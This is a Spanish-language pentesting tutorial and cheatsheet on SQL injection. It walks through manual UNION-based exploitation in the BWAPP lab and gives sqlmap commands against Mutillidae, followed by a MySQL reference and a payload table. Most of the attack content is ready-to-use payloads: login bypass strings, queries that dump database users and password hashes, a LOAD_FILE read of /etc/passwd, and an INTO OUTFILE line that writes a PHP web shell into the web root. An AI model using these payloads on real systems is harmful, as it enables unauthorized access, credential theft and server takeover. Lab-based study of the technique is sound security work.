Page cover image

💉SQL Injection

La inyección SQL es una técnica de ataque a sistemas de bases de datos que explota vulnerabilidades en las aplicaciones web que interactúan con ellas, permitiendo ejecutar comandos en la BBDD.

Explotación Manual

Vamos a aprender a cómo explotar un SQL Inyection, para conseguir por ejemplo credenciales de acceso a una base de datos. Vamos a seguir una serie de pasos en un entorno controlado BWAPP:

1. Comprobar si es vulnerable a SQL Inyection

  • Introducir una comilla simple o paréntesis en un input y ver si da un error de backend o sintaxis SQL. Si nos devuelve un error esa web es vulnerable a SQL Inyection.

2. Descubrir el número de columnas en la base de datos

' order by 1-- - 
  • Cambiar el 1 por otros números hasta donde de un fallo. Al introducir ' order by 8-- - observamos que nos da el error, por lo que esta BBDD tiene 7 columnas.

3. Localizar el punto de inyección

cn' UNION select 1,2,3,4,5,6,7-- -

Vemos que no muestra nada en el 1 y empieza a mostrar información desde el 2 (punto de inyección), vamos a cambiar estos números 2, 3, 4, 5, 6 y 7 por distintos comandos, para hacer distintas cosas:

4. Sacar la versión de la base de datos

cn' UNION select 1,@@version,3,4,5,6,7-- -
Este hace lo mismo
‘ union select null,version(),null,null,null,null,null -- 

5. Sacar el nombre de la base de datos

cn' UNION select 1,database(),3,4,5,6,7-- -

6. Ver el SCHEMA

cn' UNION select 1,schema_name,3,4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA-- -

7. Acceder a tablas:

cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4,5,6,7 from INFORMATION_SCHEMA.TABLES where table_schema='mysql'-- -
  • Podemos sustituir mysql por cualquier nombre de la tabla

  • Encontramos una tabla user que nos interesa, donde podría haber información sensible

8. Acceder a columnas:

cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA,5,6,7 from INFORMATION_SCHEMA.COLUMNS where table_name='user'-- -

9. Acceso a contraseñas

cn' UNION select 1, User, Password, 4,5,6,7 from mysql.user-- -

10. SQL Injection en Login

Con esta técnica un atacante podría saltarse el introducir una contraseña y acceder a un servicio web, solamente introduciendo el siguiente comando en el login:

' or 1=1 --+
admin' or '1'='1 --

Explotación Automática:

SQL Map

Es la herramienta por excelencia para la explotación de SQL inyection

  1. Interceptar petición con BurpSuite -> seleccionar todo -> botón derecho -> copy to file a archivo.txt

sqlmap -r /home/kali/Escritorio/archivo.txt --ignore-redirects --batch --dump -T accounts -D mutillidae
# El accounts se podría cambiar por cualquier tabla de la bd

Saber las columnas de una tabla en concreto

sqlmap -r /home/kali/Escritorio/archivo.txt --ignore-redirects --batch --dump -D mutillidae
# El valor mutillidae se podría cambiar por otra base de datos disponible

Saber las tablas de una base de datos en concreto

sqlmap -r /home/kali/Escritorio/archivo.txt --ignore-redirects --batch --dbs -v 3

Saber las bases de datos disponibles

sqlmap -r /home/kali/Escritorio/archivo.txt --ignore-redirects --batch --technique B -p username -U root@localhost --passwords

Saber la contraseña asociada a un usuario

sqlmap -r /home/kali/Escritorio/archivo.txt --ignore-redirects --technique B -p username --current-user

Saber el usuario de la base de datos

sqlmap --flush-session -r /home/kali/Escritorio/archivo.txt

La siguiente sección estará dedicada completamente a esta herramienta, donde la veremos en profundidad con ejemplos de uso:

💉SQLMap

Cheatsheet

MySQL

Comandos

Descripción

General

mysql -u root -h docker.server.eu -P 3306 -p

Login en la base de datos mysql

SHOW DATABASES

Mostrar todas las bases de datos

USE users

Usar una base de datos

Tablas

CREATE TABLE logins (id INT, ...)

Añadir una nueva

SHOW TABLES

Mostrar todas las tablas

DESCRIBE logins

Mostrar las propiedades de una tabla

INSERT INTO table_name VALUES (value_1,..)

Añade valores a una tabla

INSERT INTO table_name(column2, ...) VALUES (column2_value, ..)

Agregar valores a columnas específicas en una tabla

UPDATE table_name SET column1=newvalue1, ... WHERE <condition>

Actualizar valores de la tabla

Columnas

SELECT * FROM table_name

Mostrar todas las columnas de una tabla

SELECT column1, column2 FROM table_name

Mostrar columnas específicas en una tabla

DROP TABLE logins

Borrar una tabla

ALTER TABLE logins ADD newColumn INT

Añadir nueva columna

ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn

Renombrar columna

ALTER TABLE logins MODIFY oldColumn DATE

Cambiar tipo de datos de columna

ALTER TABLE logins DROP oldColumn

Borrar una columna

Output

SELECT * FROM logins ORDER BY column_1

Ordenar por columna

SELECT * FROM logins ORDER BY column_1 DESC

Ordenar por columna descendente

SELECT * FROM logins ORDER BY column_1 DESC, id ASC

Ordenar por dos columnas

SELECT * FROM logins LIMIT 2

Mostrar solo los dos primeros resultados

SELECT * FROM logins LIMIT 1, 2

Mostrar solo los dos primeros resultados a partir del índice 2

SELECT * FROM table_name WHERE <condition>

Enumerar resultados que cumplen una condición

SELECT * FROM logins WHERE username LIKE 'admin%'

Listar resultados donde el nombre es similar a una cadena determinada

Operadores en MySQL

  • División (/), Multiplicación (*), y Modulos (%)

  • Adición (+) and Sustracción (-)

  • Comparación (=, >, <, <=, >=, !=, LIKE)

  • NOT (!)

  • AND (&&)

  • OR (||)

SQL Injection

Payload

Descripción

Auth Bypass

admin' or '1'='1

Omisión de autenticación básica

admin')-- -

Omisión de autenticación básica con comentarios

Union Injection

' order by 1-- -

Detectar el número de columnas usando order by

cn' UNION select 1,2,3-- -

Detectar el número de columnas usando Union injection

cn' UNION select 1,@@version,3,4-- -

Union injection básico

UNION select username, 2, 3, 4 from passwords-- -

Union injection para 4 columnas

DB Enumeration

SELECT @@version

Fingerprint MySQL con query output

SELECT SLEEP(5)

Fingerprint MySQL sin output

cn' UNION select 1,database(),2,3-- -

Nombre de la base de datos actual

cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -

Listar todas las bases de datos

cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -

Enumerar todas las tablas en una base de datos específica

cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -

Enumerar todas las columnas de una tabla específica

cn' UNION select 1, username, password, 4 from dev.credentials-- -

Volcar datos de una tabla en otra base de datos

Privileges

cn' UNION SELECT 1, user(), 3, 4-- -

Encontrar usuario actual

cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -

Encuentra si el usuario tiene privilegios de administrador

cn' UNION SELECT 1, grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE user="root"-- -

Busca todos los usuarios con privilegios

cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -

Encontrar a qué directorios se puede acceder a través de MySQL

File Injection

cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -

Leer archivo local

select 'file written successfully!' into outfile '/var/www/html/proof.txt'

Escribir una cadena en un archivo local

cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -

Escriba un shell web en el directorio web base

Hack Tools Plugin

Hack Tools PLugin

Con este plugin disponible para todos los navegadores tenemos a mano multitud de comandos para explotar SQL Injections.

Última actualización

¿Te fue útil?